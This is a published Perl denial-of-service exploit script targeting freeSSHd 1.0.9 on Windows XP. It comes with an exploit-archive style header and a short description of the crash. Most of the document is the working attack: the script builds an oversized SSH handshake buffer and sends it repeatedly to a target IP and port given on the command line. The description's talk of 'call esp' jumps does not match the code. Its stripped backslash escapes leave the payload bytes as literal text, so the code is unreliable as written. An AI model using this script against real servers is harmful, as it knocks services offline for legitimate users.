Authored by Fernando Mengali

freeSSHd version 1.0.9 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage: N/A
# Download to demo:
# Notification vendor: No reported
# Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo:

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The SSH does not correctly handle the amount of data or bytes sent.
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $bufff =
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"x18;


my $payload =
"x53x53x48x2dx31x2ex39x39x2dx4fx70x65x6ex53x53x48" .
"x5fx33x2ex34x0ax00x00x4fx04x05x14x00x00x00x00x00" .
"x00x00x00x00x00x00x00x00x00x00x00x00x00x07xde".("A" x 1067);

$payload .= $payload;
$payload .= "C" x 19021 . "rn";

my $i=0;
while ($i<=18) {
my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp'
) or die "Cannot connect!n";

if (<$sock> eq '') {
print "[+] Done - Exploited success!!!!!nn";
exit;
}

$sock->send($payload) or die "Exploited successuful!!!";

$i++;
}




sub intro {
print q {


_/|
// o
|| ._)
//__
)___(

[+] freeSSHd 1.0.9 - Denied of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}